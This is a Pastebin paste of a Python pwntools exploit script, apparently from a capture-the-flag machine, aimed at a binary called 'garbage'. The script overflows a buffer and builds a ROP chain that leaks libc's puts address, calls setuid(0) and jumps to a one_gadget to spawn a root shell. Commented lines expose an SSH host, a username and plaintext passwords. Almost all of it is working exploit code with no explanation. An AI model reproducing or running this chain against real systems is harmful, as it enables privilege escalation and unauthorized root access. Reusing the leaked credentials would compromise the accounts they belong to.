Advertisement
Guest User

elling

a guest
May 23rd, 2019
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.75 KB | None | 0 0
  1. import sys
  2. import struct
  3. from pwn import *
  4.  
  5. #context.log_level = 'debug'
  6. # First we remote to the host...
  7. # remoteShell = ssh(host = '10.10.10.139', user='margo', password='iamgod$08')
  8.  
  9. # change working directory to /usr/bin
  10. #remoteShell.set_working_directory('/usr/bin')
  11.  
  12. # set elf and libc paths
  13. elf = ELF('./garbage')
  14. libc = ELF('./libc.so.6')
  15. # get Return-Oriented Programming pointer
  16. rop = ROP(elf)
  17. context(arch='amd64')
  18. # get memory address of puts call and place it in the rop object
  19. rop.puts(elf.got['puts'])
  20. # get memory address of main proc and put it in rop.call
  21. rop.call(elf.symbols['main'])
  22. print rop.dump()
  23. # leakPayload = A * 0x88 (136 decimal) + What is this?
  24. leakPayload = 'A' * 0x88 + struct.pack('<Q', 0x40179b) + struct.pack('<Q', 0x404028) + struct.pack('<Q', 0x401050) + struct.pack('<Q', 0x401619)
  25. #print leakPayload
  26. p = process('./garbage')
  27. #p = remoteShell.process('./garbage')
  28. p.sendline(leakPayload)
  29. temp = p.recvuntil('\x7f') #weird input output thing, but probably first byte is x7f
  30. temp = temp.split('\n')[2]
  31. leakedPuts = struct.unpack('Q', temp + '\x00\x00')[0]
  32. libc.address = leakedPuts - libc.symbols['puts']
  33. print 'HOLA LIBC_BASE: ' + hex(libc.address)
  34. #p.sendline('N3veRF3@r1iSh3r3!')
  35. #password = 'N3veRF3@r1iSh3r3!'
  36. #0x0000:          0x2155f pop rdi; ret
  37. #0x0008:              0x0 [arg0] rdi = 0
  38. #0x0010:          0xe5970 setuid
  39. print 'SETTING UID to 0'
  40. setuid = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x2155f) + struct.pack('<Q', 0x0) + struct.pack('<Q', libc.address + 0xe5970) + struct.pack('<Q', 0x401513) #setuid 0 + go back to auth
  41. p.sendline(setuid)
  42. print 'OPENING A SHELL'
  43. exploit = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x4f322) #libc.so.6 one_gadget
  44. p.sendline(exploit)
  45. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement